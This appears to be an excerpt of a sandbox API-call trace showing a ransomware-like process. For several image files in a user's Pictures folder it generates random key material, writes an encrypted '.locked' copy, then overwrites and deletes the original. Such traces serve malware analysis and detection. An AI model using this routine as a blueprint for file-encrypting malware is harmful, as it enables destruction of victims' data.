	[0078.662] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0078.662] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0078.687] CloseHandle (hObject=0xc0) returned 1
	[0078.688] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\AQQuAzcmh4UblVyeDf.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\aqquazcmh4ublvyedf.bmp")) returned 1
	[0078.691] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\TPW2xIhpa VjT6.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\tpw2xihpa vjt6.png"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23716c10, ftCreationTime.dwHighDateTime=0x1d4cfd0, ftLastAccessTime.dwLowDateTime=0xe7d33e0, ftLastAccessTime.dwHighDateTime=0x1d4cfba, ftLastWriteTime.dwLowDateTime=0xe7d33e0, ftLastWriteTime.dwHighDateTime=0x1d4cfba, nFileSizeHigh=0x0, nFileSizeLow=0x170c9)) returned 1
	[0078.691] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\TPW2xIhpa VjT6.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\tpw2xihpa vjt6.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.691] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0078.692] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\TPW2xIhpa VjT6.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\tpw2xihpa vjt6.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0078.692] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0078.692] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c2e0 | out: pbBuffer=0x1238c2e0) returned 1
	[0078.692] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8140 | out: pbBuffer=0x127a8140) returned 1
	[0078.692] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0078.692] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0078.694] SetEvent (hEvent=0xb4) returned 1
	[0078.694] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x170c9, lpOverlapped=0x0) returned 1
	[0078.697] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x170c9, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x170c9, lpOverlapped=0x0) returned 1
	[0078.699] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0078.699] CloseHandle (hObject=0xc4) returned 1
	[0078.699] CloseHandle (hObject=0xc0) returned 1
	[0078.699] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.699] SetEvent (hEvent=0xb4) returned 1
	[0078.699] SetEvent (hEvent=0x80) returned 1
	[0078.700] SetEvent (hEvent=0x78) returned 1
	[0078.700] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.700] SetEvent (hEvent=0xa8) returned 1
	[0078.700] SetEvent (hEvent=0x78) returned 1
	[0078.700] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x46, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee83c*=0x46) returned 1
	[0078.702] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\TPW2xIhpa VjT6.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\tpw2xihpa vjt6.png")) returned 1
	[0078.720] SetEvent (hEvent=0x80) returned 1
	[0078.725] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.725] SetEvent (hEvent=0x80) returned 1
	[0078.725] SetEvent (hEvent=0x78) returned 1
	[0078.725] SetEvent (hEvent=0xb4) returned 1
	[0078.725] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.726] SetEvent (hEvent=0xa8) returned 1
	[0078.726] SetEvent (hEvent=0xb4) returned 1
	[0078.728] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.728] SetEvent (hEvent=0xb4) returned 1
	[0078.728] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.729] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.729] SetEvent (hEvent=0xb4) returned 1
	[0078.729] SetEvent (hEvent=0x78) returned 1
	[0078.729] SetEvent (hEvent=0x80) returned 1
	[0078.729] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.729] SetEvent (hEvent=0x80) returned 1
	[0078.729] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\TPW2xIhpa VjT6.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\tpw2xihpa vjt6.png"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.730] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0078.730] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0078.746] CloseHandle (hObject=0xc0) returned 1
	[0078.747] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\TPW2xIhpa VjT6.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\tpw2xihpa vjt6.png")) returned 1
	[0078.750] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\XyDUb3.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\xydub3.png"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e5662e0, ftCreationTime.dwHighDateTime=0x1d4d087, ftLastAccessTime.dwLowDateTime=0xe7e9fe40, ftLastAccessTime.dwHighDateTime=0x1d4ca85, ftLastWriteTime.dwLowDateTime=0xe7e9fe40, ftLastWriteTime.dwHighDateTime=0x1d4ca85, nFileSizeHigh=0x0, nFileSizeLow=0x2108)) returned 1
	[0078.750] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\XyDUb3.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\xydub3.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.750] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0078.750] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\XyDUb3.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\xydub3.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0078.751] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0078.751] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c2e0 | out: pbBuffer=0x1238c2e0) returned 1
	[0078.751] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8140 | out: pbBuffer=0x127a8140) returned 1
	[0078.751] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416181 | out: pbBuffer=0x12416181) returned 1
	[0078.751] WriteFile (in: hFile=0xc4, lpBuffer=0x123d1000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x123d1000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0078.753] SetEvent (hEvent=0x78) returned 1
	[0078.753] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x2108, lpOverlapped=0x0) returned 1
	[0078.754] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x2108, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x2108, lpOverlapped=0x0) returned 1
	[0078.755] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0078.755] CloseHandle (hObject=0xc4) returned 1
	[0078.755] CloseHandle (hObject=0xc0) returned 1
	[0078.755] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.756] SetEvent (hEvent=0x78) returned 1
	[0078.756] SetEvent (hEvent=0x80) returned 1
	[0078.756] SetEvent (hEvent=0xb4) returned 1
	[0078.756] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.756] SetEvent (hEvent=0xb4) returned 1
	[0078.756] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12416080*, nNumberOfCharsToWrite=0x3e, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x12416080*, lpNumberOfCharsWritten=0x127ee83c*=0x3e) returned 1
	[0078.757] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\XyDUb3.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\xydub3.png")) returned 1
	[0078.775] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.776] SetEvent (hEvent=0xa8) returned 1
	[0078.776] SetEvent (hEvent=0x80) returned 1
	[0078.780] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.780] SetEvent (hEvent=0x80) returned 1
	[0078.780] SetEvent (hEvent=0xb4) returned 1
	[0078.780] SetEvent (hEvent=0x78) returned 1
	[0078.780] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.781] SetEvent (hEvent=0x78) returned 1
	[0078.782] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.783] SetEvent (hEvent=0x78) returned 1
	[0078.783] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.783] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.783] SetEvent (hEvent=0x78) returned 1
	[0078.783] SetEvent (hEvent=0xb4) returned 1
	[0078.783] SetEvent (hEvent=0x80) returned 1
	[0078.783] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.784] SetEvent (hEvent=0x80) returned 1
	[0078.784] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\XyDUb3.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\xydub3.png"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.785] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0078.785] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0078.800] CloseHandle (hObject=0xc0) returned 1
	[0078.801] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\XyDUb3.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\xydub3.png")) returned 1
	[0078.804] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\YJdqJspC0iMftP.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\yjdqjspc0imftp.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78a24770, ftCreationTime.dwHighDateTime=0x1d4d298, ftLastAccessTime.dwLowDateTime=0x8d807d0, ftLastAccessTime.dwHighDateTime=0x1d4c79f, ftLastWriteTime.dwLowDateTime=0x8d807d0, ftLastWriteTime.dwHighDateTime=0x1d4c79f, nFileSizeHigh=0x0, nFileSizeLow=0x1289e)) returned 1
	[0078.804] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\YJdqJspC0iMftP.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\yjdqjspc0imftp.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.804] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0078.804] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\YJdqJspC0iMftP.bmp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\yjdqjspc0imftp.bmp.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0078.805] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0078.805] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c2e0 | out: pbBuffer=0x1238c2e0) returned 1
	[0078.805] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8140 | out: pbBuffer=0x127a8140) returned 1
	[0078.805] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416181 | out: pbBuffer=0x12416181) returned 1
	[0078.805] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0078.808] SetEvent (hEvent=0xb4) returned 1
	[0078.808] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x1289e, lpOverlapped=0x0) returned 1
	[0078.810] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x1289e, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x1289e, lpOverlapped=0x0) returned 1
	[0078.812] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0078.812] CloseHandle (hObject=0xc4) returned 1
	[0078.812] CloseHandle (hObject=0xc0) returned 1
	[0078.812] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.813] SetEvent (hEvent=0xb4) returned 1
	[0078.813] SetEvent (hEvent=0x80) returned 1
	[0078.813] SetEvent (hEvent=0x78) returned 1
	[0078.813] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.813] SetEvent (hEvent=0x78) returned 1
	[0078.813] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x46, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee83c*=0x46) returned 1
	[0078.815] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\YJdqJspC0iMftP.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\yjdqjspc0imftp.bmp")) returned 1
	[0078.833] SetEvent (hEvent=0x80) returned 1
	[0078.838] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.838] SetEvent (hEvent=0x80) returned 1
	[0078.838] SetEvent (hEvent=0x78) returned 1
	[0078.838] SetEvent (hEvent=0xb4) returned 1
	[0078.838] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.839] SetEvent (hEvent=0xb4) returned 1
	[0078.840] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.840] SetEvent (hEvent=0xa8) returned 1
	[0078.840] SetEvent (hEvent=0xb4) returned 1
	[0078.841] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.841] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.841] SetEvent (hEvent=0xb4) returned 1
	[0078.841] SetEvent (hEvent=0x78) returned 1
	[0078.841] SetEvent (hEvent=0x80) returned 1
	[0078.841] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.842] SetEvent (hEvent=0xa8) returned 1
	[0078.842] SetEvent (hEvent=0x80) returned 1
	[0078.842] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\YJdqJspC0iMftP.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\yjdqjspc0imftp.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.843] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0078.843] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0078.865] CloseHandle (hObject=0xc0) returned 1
	[0078.866] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\YJdqJspC0iMftP.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\yjdqjspc0imftp.bmp")) returned 1
	[0078.869] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\xQey6x.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\xqey6x.gif"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98393860, ftCreationTime.dwHighDateTime=0x1d4c5e0, ftLastAccessTime.dwLowDateTime=0x512a3a70, ftLastAccessTime.dwHighDateTime=0x1d4d493, ftLastWriteTime.dwLowDateTime=0x512a3a70, ftLastWriteTime.dwHighDateTime=0x1d4d493, nFileSizeHigh=0x0, nFileSizeLow=0x5336)) returned 1
	[0078.869] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\xQey6x.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\xqey6x.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.869] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0078.870] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\xQey6x.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\xqey6x.gif.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0078.870] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0078.870] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c2e0 | out: pbBuffer=0x1238c2e0) returned 1
	[0078.870] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8140 | out: pbBuffer=0x127a8140) returned 1
	[0078.870] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416181 | out: pbBuffer=0x12416181) returned 1
	[0078.870] WriteFile (in: hFile=0xc4, lpBuffer=0x1240b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x1240b000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0078.873] SetEvent (hEvent=0x78) returned 1
	[0078.873] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x5336, lpOverlapped=0x0) returned 1
	[0078.874] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x5336, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x5336, lpOverlapped=0x0) returned 1
	[0078.874] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0078.875] CloseHandle (hObject=0xc4) returned 1
	[0078.875] CloseHandle (hObject=0xc0) returned 1
	[0078.875] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.875] SetEvent (hEvent=0x78) returned 1
	[0078.875] SetEvent (hEvent=0x80) returned 1
	[0078.875] SetEvent (hEvent=0xb4) returned 1
	[0078.875] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.876] SetEvent (hEvent=0xa8) returned 1
	[0078.876] SetEvent (hEvent=0xb4) returned 1
	[0078.876] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12416080*, nNumberOfCharsToWrite=0x3e, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x12416080*, lpNumberOfCharsWritten=0x127ee83c*=0x3e) returned 1
	[0078.878] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\xQey6x.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\xqey6x.gif")) returned 1
	[0078.895] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.895] SetEvent (hEvent=0xa8) returned 1
	[0078.895] SetEvent (hEvent=0x80) returned 1
	[0078.900] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.900] SetEvent (hEvent=0x80) returned 1
	[0078.900] SetEvent (hEvent=0xb4) returned 1
	[0078.900] SetEvent (hEvent=0x78) returned 1
	[0078.900] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.900] SetEvent (hEvent=0x78) returned 1
	[0078.902] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.902] SetEvent (hEvent=0x78) returned 1
	[0078.902] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.903] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.903] SetEvent (hEvent=0x78) returned 1
	[0078.903] SetEvent (hEvent=0xb4) returned 1
	[0078.903] SetEvent (hEvent=0x80) returned 1
	[0078.903] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.903] SetEvent (hEvent=0x80) returned 1
	[0078.903] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\xQey6x.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\xqey6x.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.904] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0078.904] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0078.920] CloseHandle (hObject=0xc0) returned 1
	[0078.920] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\xQey6x.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\xqey6x.gif")) returned 1
